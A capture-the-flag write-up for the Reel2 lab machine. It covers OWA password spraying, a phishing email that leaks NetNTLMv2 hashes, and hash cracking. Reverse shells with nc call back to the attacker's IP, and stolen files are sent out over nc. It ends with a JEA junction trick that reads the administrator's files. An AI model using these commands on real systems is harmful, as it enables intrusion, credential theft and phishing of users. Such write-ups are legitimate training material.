Recon
- Port scan:
$ nmap -p- 10.10.10.210 > ports.nmap
PORT STATE SERVICE 80/tcp open http 443/tcp open https 5985/tcp open wsman 6001/tcp open X11:1 6002/tcp open X11:2 6004/tcp open X11:4 6005/tcp open X11:5 6006/tcp open X11:6 6007/tcp open X11:7 6008/tcp open X11:8 6010/tcp open x11 6011/tcp open x11 6012/tcp open x11 6017/tcp open xmail-ctrl 6022/tcp open x11 8080/tcp open http-proxy
- Targeted scan:
$ nmap -sC -sV -p 22,80 10.10.10.210 > targeted.nmap
PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 8.5 |_http-server-header: Microsoft-IIS/8.5 |_http-title: 403 - Forbidden: Access is denied. 443/tcp open ssl/http Microsoft IIS httpd 8.5 | http-methods: Microsoft IIS httpd 8.5 |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/8.5 |_http-title: IIS Windows Server | ssl-cert: Subject: commonName=Reel2 | Subject Alternative Name: DNS:Reel2, DNS:Reel2.htb.local | Not valid before: 2020-07-30T10:12:46 |_Not valid after: 2025-07-30T10:12:46 |_ssl-date: 2021-02-05T12:32:31+00:00; +29s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 6001/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 6002/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 6004/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 6005/tcp open msrpc Microsoft Windows RPC 6006/tcp open msrpc Microsoft Windows RPC 6007/tcp open msrpc Microsoft Windows RPC 6008/tcp open msrpc Microsoft Windows RPC 6010/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 6011/tcp open msrpc Microsoft Windows RPC 6012/tcp open msrpc Microsoft Windows RPC 6017/tcp open msrpc Microsoft Windows RPC 6022/tcp open msrpc Microsoft Windows RPC 8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.2.32) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set | http-open-proxy: Potentially OPEN proxy. |_Methods supported:CONNECTION |_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.2.32 |_http-title: Welcome | Wallstant Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Microsoft IIS httpd 8.5, WinRM over HTTP, Microsoft Windows RPC over HTTP, Apache httpd 2.4.43.
Enumeration
- Add hostname to
/etc/hosts
:10.10.10.210 reel2.htb
Port 80 Enumeration
- Index page displays 403 Forbidden. With a simple
gobuster
scan revealing nothing else of interest, let's move on...
Port 443 Enumeration
- Website displays default IIS page.
- Running
gobuster
, blacklisting status code 403 as it is the default response:$ gobuster dir -u http://reel2.htb -t 50 -w ../Common/directory-list-2.3-medium.txt -x .php,.html -b 403
/owa (Status: 301) /powershell (Status: 401)
- Found Outlook Web App and
/powershell
console, both requiring authorized access with credentials.
Port 8080 Enumeration
- Website is hosting an instance of Wallstant, an open source PHP-based social network.
- From Wallstant project website on https://wallstant.github.io/:
Fast & Secure from the most common PHP vulnerabilities not 100% but good for now
- Only the "most common" vulnerabilities? That doesn't sound very promising...
- Registering for an account, no email authentication was required.
- Discovering usernames, first name, and last name combinations on Wallstant, saving to
names.txt
:cube0x0 cube0x0 cube cube sven svensson lars larsson jenny adams teresa trump
- Post by cube (6 months ago):
>2020 Enjoying a fika with @egre55
- Post by sven (6 months ago):
>2020 This summer is so hot!
- Collecting keywords from user posts:
fika, summer, hot, 2020
- Create
usergen.py
script for generating username combinationsusers.txt
to be used in password spraying attack:#!/usr/bin/env python import sys import os.path def usergen(): output = open('users.txt', 'w') for line in open(sys.argv[1]): name = ''.join([c for c in line if c == " " or c.isalpha()]) tokens = name.lower().split() # Skip empty lines if len(tokens) < 1: continue fname = tokens[0] lname = tokens[-1] print(fname + lname, file=output) # johndoe print(lname + fname, file=output) # doejohn print(fname + "." + lname, file=output) # john.doe print(lname + "." + fname, file=output) # doe.john print(fname[0] + "." + lname, file=output) # j.doe print(lname[0] + "." + fname, file=output) # d.john print(fname[0] + lname, file=output) # jdoe print(lname[0] + fname, file=output) # djohn print(fname + lname[0], file=output) # johnd print(lname + fname[0], file=output) # doej print(fname, file=output) # john print(lname, file=output) # doe print("[+] Done! Output saved as users.txt") if __name__ == "__main__": # Check arguments if len(sys.argv) != 2: print("[-] Usage: {} names.txt".format(sys.argv[0])) sys.exit(0) if not os.path.exists(sys.argv[1]): print("[-] {} not found".format(sys.argv[1])) sys.exit(0) usergen()
- Create
passgen.py
script for generating potential passwords:#!/usr/bin/env python import sys import os.path def passgen(): output = open('passwords.txt', 'w') for line in open(sys.argv[1]): password = ''.join([c for c in line if c == " " or c.isalpha()]) print(password + "2020", file=output) # password2020 print(password[0].upper() + password[1:] + "2020", file=output) # Password2020 print("[+] Done! Output saved as passwords.txt") if __name__ == "__main__": # Check arguments if len(sys.argv) != 2: print("[-] Usage: {} words.txt".format(sys.argv[0])) sys.exit(0) if not os.path.exists(sys.argv[1]): print("[-] {} not found".format(sys.argv[1])) sys.exit(0) passgen()
- Run
usergen.py
script withnames.txt
as parameter:$ python usergen.py names.txt
[+] Done! Output saved as users.txt
- Run
passgen.py
script withwords.txt
as parameter:$ python passgen.py words.txt
[+] Done! Output saved as passwords.txt
Exploitation
OWA Password Spraying
- Password spray attack with
ruler
:$ ruler -d reel2.htb -k brute -u users.txt -p passwords.txt -d 0 -v
[+] Starting bruteforce [+] Trying to Autodiscover domain [+] 0 of 7 passwords checked ... Failed: svensvensson:Summer2020 Failed: svenssonsven:Summer2020 Failed: sven.svensson:Summer2020 Failed: svensson.sven:Summer2020 [+] Success: s.svensson:Summer2020
- After a few minutes, we get the credentials:
s.svensson:Summer2020
- Login to Outlook Web App with brute-forced credentials as s.svensson.
- The user interface is in Swedish, it is possible to change the language settings by navigating through:
- Open options menu with "Alternativ" on top right
- Select "Nationella inställningar", then "Språk"
- Save by clicking "Spara"
- In the "About" section of options, we see the version and info about our target exposed:
Version: 14.0.639.21 Client Access server operating system version: Microsoft Windows NT 6.3.9600.0
NetNTLMv2 hash stealing using Outlook
- This version of Outlook is outdated and vulnerable to SMB attachment phishing (<15.0.1497).
- It is possible to craft an email that steals the victim's NetNTLMv2 hashes without requiring any user interaction, clicking on the email to preview it is enough for the hashes to be stolen.
- Create a phishing email with only an URL to our HTTP server in the body, the subject can be anything we would like:
- In the "To:" tab, select all users. Untick the Administrator to avoid detection, and the Directory Search Mailbox as it is usually undeliverable. Don't forget to include users on the second page:
- The resulting phishing email should look something resembling this:
- Before sending the message, listen for the incoming SMB packets containing the NTLM hash with
responder
:$ sudo responder -I tun0 -v
- Send the message, and after a few minutes, we should get k.svensson's NTLM hash in
responder
:[HTTP] Sending NTLM authentication request to 10.10.10.210 [HTTP] POST request from: 10.10.10.210 URL: / [HTTP] Host : 10.10.14.103 [HTTP] NTLMv2 Client : 10.10.10.210 [HTTP] NTLMv2 Username : htb\k.svensson [HTTP] NTLMv2 Hash : k.svensson::htb:674b7f83c29a5106:FAED26E7B1A28ACCC1ED389076CBE92D:01010000000000007DD6001790FCD601FACF82A2C3EE7698000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C000800300030000000000000000000000000400000A5F56C688795519E9E05DF97F15DAB3A15A7751DF89F12E22C8747E1E867CE530A001000000000000000000000000000000000000900220048005400540050002F00310030002E00310030002E00310034002E003100300033000000000000000000
- Looks like Sven's brother Knut Svensson clicked on our phishing email. Save the NTLM hash to a
knut.hash
file. - Cracking k.svensson's NTLM hash with
hashcat
after checking the hash type:$ hashcat -h
5600 | NetNTLMv2 | Network Protocols
$ hashcat -m 5600 knut.hash ~/Desktop/rockyou.txt -d 3
K.SVENSSON::htb:674b7f83c29a5106:faed26e7b1a28accc1ed389076cbe92d:01010000000000007dd6001790fcd601facf82a2c3ee7698000000000200060053004d0042000100160053004d0042002d0054004f004f004c004b00490054000400120073006d0062002e006c006f00630061006c000300280073006500720076006500720032003000300033002e0073006d0062002e006c006f00630061006c000500120073006d0062002e006c006f00630061006c000800300030000000000000000000000000400000a5f56c688795519e9e05df97f15dab3a15a7751df89f12e22c8747e1e867ce530a001000000000000000000000000000000000000900220048005400540050002f00310030002e00310030002e00310034002e003100300033000000000000000000:kittycat1
- Get credentials:
k.svensson:kittycat1
- Remote into the machine with
evil-winrm
using k.svensson's credentials:$ evil-winrm -i 10.10.10.210 -u k.svensson -p kittycat1
Evil-WinRM shell v2.3 Info: Establishing connection to remote endpoint *Evil-WinRM* PS The term 'Invoke-Expression' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. + CategoryInfo : ObjectNotFound: (Invoke-Expression:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException
- Looks like we connected successfully, but we're in a restricted shell and cannot execute any commands.
- Since
evil-winrm
relies onInvoke-Expression
to send our commands, we will have to remote in manually withEnter-PSSession
on a separate Powershell session instead. - Install Powershell and GSSAPI libraries from AUR:
$ yay -S powershell-bin
$ yay -S gss-ntlmssp
- Start a Powershell session:
$ pwsh
- Create a session variable and enter the cracked password:
> $session = New-PSSession -ComputerName 10.10.10.210 -Authentication Negotiate -Credential k.svensson
PowerShell credential request Enter your credentials. Password for user k.svensson: *********
- Enter the session:
> Enter-PSSession $session
[10.10.10.210]: PS>_
- As expected, normal commands like
dir
,cd
,type
are not working in the restricted session, we can check this by:> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
- Though, we can use the script block expression
&{command}
to bypass this restriction:> &{whoami /all}
USER INFORMATION ---------------- User Name SID ============== ============================================= htb\k.svensson S-1-5-21-158661246-3153678129-2567348495-1165
> &{pwd}
C:\Users\k.svensson\Documents
> &{type ..\Desktop\user.txt}
a159------------------------1519
- Get user flag!
Privilege Escalation
- To make things easier to navigate, let's upgrade to an unrestricted shell using
nc
. - Host
nc64
binary on HTTP:$ cp ../Common/nc64.exe ./ && updog
- Get
nc64
binary from target host withInvoke-WebRequest
:> &{iwr -uri http://10.10.14.103:9090/nc64.exe -o 'C:\Users\k.svensson\Videos\nc64.exe'}
- On our local machine, listen for a reverse connection:
$ nc -lvnp 6969
- Establish a PowerShell session with
nc
:> &{./nc64.exe 10.10.14.103 6969 -e powershell.exe}
- We should now get an unrestricted reverse shell as k.svensson, with full language capabilities:
> $ExecutionContext.SessionState.LanguageMode
FullLanguage
- Now that we don't need to use the
&{}
script block to send commands, we can start enumerating further. - We find
.psrc
(role capabilities) and.pssc
(session configuration) files for the jea_test_account in~\Documents
:> ls 'C:\Users\k.svensson\Documents\'
Directory: C:\Users\k.svensson\Documents Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 7/30/2020 5:14 PM WindowsPowerShell -a---- 7/31/2020 11:58 AM 5600 jea_test_account.psrc -a---- 7/31/2020 11:58 AM 2564 jea_test_account.pssc
- Since the
WindowsPowerShell
folder is empty, let's transfer only the other PowerShell files back to our local machine:> type ./jea_test_account.psrc | ../Videos/nc64.exe 10.10.14.103 1337
- Looking at the
.psrc
file, we find aCheck-File
function defined under jea_test_account:FunctionDefinitions = @{ 'Name' = 'Check-File' 'ScriptBlock' = {param($Path,$ComputerName=$env:COMPUTERNAME) [bool]$Check=$Path -like "D:\*" -or $Path -like "C:\ProgramData\*" ; if($check) {get-content $Path}} }
- The function appears to first run a check on whether if a file is in
C:\ProgramData\
, and then runsGet-Content
on the file. We might be able to leverage this function to read privileged files. - Finding
.log
files:> Get-ChildItem -Path C:\ -Filter *.log -Recurse -File -Name -Force
... Users\k.svensson\AppData\Local\Microsoft\Windows\WebCache\V010000F.log Users\k.svensson\AppData\Local\Microsoft\Windows\WebCache\V0100010.log Users\k.svensson\AppData\Local\Microsoft\Windows\WebCache\V01tmp.log Users\k.svensson\AppData\Local\Mozilla\Firefox\Profiles\5hx9aux9.default-release\cache2\index.log Users\k.svensson\AppData\Local\Temp\wmsetup.log Users\k.svensson\AppData\Roaming\stickynotes\Local Storage\leveldb\000003.log
- We see a directory in
%appdata%\Roaming
calledstickynotes
:> ls 'C:\Users\k.svensson\AppData\Roaming\stickynotes'
Directory: C:\Users\k.svensson\AppData\Roaming\stickynotes Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 2/14/2021 7:36 AM blob_storage d----- 7/30/2020 1:19 PM Cache d----- 7/30/2020 1:19 PM GPUCache d----- 7/30/2020 1:19 PM Local Storage d----- 7/30/2020 1:19 PM logs -a---- 7/30/2020 1:19 PM 36 .updaterId -a---- 7/30/2020 1:19 PM 20480 Cookies -a---- 7/30/2020 1:19 PM 0 Cookies-journal -a---- 7/30/2020 1:23 PM 159 Network Persistent State
- Zip up the directory:
> Compress-Archive -Path 'C:\Users\k.svensson\AppData\Roaming\stickynotes\Local Storage\*' -DestinationPath 'C:\Users\k.svensson\Videos\stickynotes.zip'
- Getting error messages, we see that some cache files could not be accessed because the
stickynotes
application is currently running:ZipArchiveHelper : The process cannot access the file 'C:\Users\k.svensson\AppData\Roaming\stickynotes\Cache\index' because it is being used by another process.
- Checking currently running processes:
> ps
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName ------- ------ ----- ----- ------ -- -- ----------- 468 36 24872 50680 66.80 6284 1 stickynotes 340 29 21120 34200 77.36 6612 1 stickynotes 251 30 46512 67312 139.00 6708 1 stickynotes
- Retry by first copying the files to a separate directory and then zipping:
> Copy-Item -Path "C:\Users\k.svensson\AppData\Roaming\stickynotes\*" -Force
> Compress-Archive -Path 'C:\Users\k.svensson\Videos\stickynotes\*' -DestinationPath 'C:\Users\k.svensson\Videos\stickynotes.zip'
- Send back the contents of this directory to investigate locally:
> type 'C:\Users\k.svensson\Videos\stickynotes.zip' | ./nc64.exe 10.10.14.103 1337
- Turns out the zip file was corrupted in the transfer. Can't be bothered to make this work now, so let's just copy the logfile individually:
> type 'C:\Users\k.svensson\AppData\Roaming\stickynotes\Local Storage\leveldb\000003.log' | ./nc64.exe 10.10.14.103 1337
- Looking at the
000003.log
file, we see that there are non-ASCII characters that can't be displayed in our editor. - Running
strings
against the log file:$ strings 000003.log
... {"first":"<p>Credentials for JEA</p><p>jea_test_account:Ab!Q@vcg^%@#1</p>","back":"rgb(255, 242, 171)","title":"rgb(255, 235, 129)","wid":"350","hei":"375","deleted":"no","closed":"yes","locked":"no"}
- Found credentials for JEA test account:
jea_test_account:Ab!Q@vcg^%@#1
- Creating a new PowerShell session and remoting in as jea_test_account:
$ pwsh
- Since the password contain special characters, let's define some credential variables:
> $username = "jea_test_account"
> $password = ConvertTo-SecureString "Ab!Q@vcg^%@#1" -AsPlainText -Force
- Define a credential object:
> $cred = New-Object System.Management.Automation.PSCredential -ArgumentList ($username, $password)
- Initiate the session and enter it:
> $session = New-PSSession -Computer 10.10.10.210 -credential $cred -Authentication Negotiate -ConfigurationName jea_test_account
> Enter-PSSession $session
- Checking available commands on jea_test_account:
> Get-Command
CommandType Name Version Source ----------- ---- ------- ------ Function Check-File Function Clear-Host Function Exit-PSSession Function Get-Command Function Get-FormatData Function Get-Help Function Measure-Object Function Out-Default Function Select-Object
- We can see the custom defined
Check-File
function we found earlier in the.psrc
file. - On k.svensson's session, let's now create a symbolic link between an arbitrary folder in
C:\ProgramData
andC:\Users\Administrator
to abuse the privileged file read inCheck-File
:> New-Item -ItemType Junction -Path 'C:\ProgramData\pwn' -Target 'C:\Users\Administrator'
- Execute the read payload on jea_test_account:
> Check-File C:\ProgramData\pwn\Desktop\root.txt
- Get root flag!
Persistence
- It wasn't possible to get an administrator shell on this machine (as far as I was aware).
- There is an easier and quieter way to get a
nc
reverse shell from k.svensson, without needing to download thenc64.exe
binary onto the victim's computer manually. - Host an SMB share containing the
nc64.exe
binary and listen for a reverse connection:$ sudo smbserver.py samiko ./ -smb2support
$ nc -lvnp 1337
- On the restricted PowerShell session, simply execute:
> &{\\10.10.14.103\\samiko\\nc64.exe 10.10.14.103 1337 -e powershell.exe}
Resources
- https://github.com/munafio/wallstant
- https://book.hacktricks.xyz/windows/active-directory-methodology/password-spraying#outlook-web-access
- https://www.ired.team/offensive-security/initial-access/netntlmv2-hash-stealing-using-outlook
- https://blog.rapid7.com/2020/04/06/phishing-for-system-on-microsoft-exchange-cve-2020-0688/
- https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enter-pssession?view=powershell-7.1
- https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/
- https://www.ired.team/offensive-security/code-execution/powershell-constrained-language-mode-bypass
- https://winaero.com/create-symbolic-link-windows-10-powershell/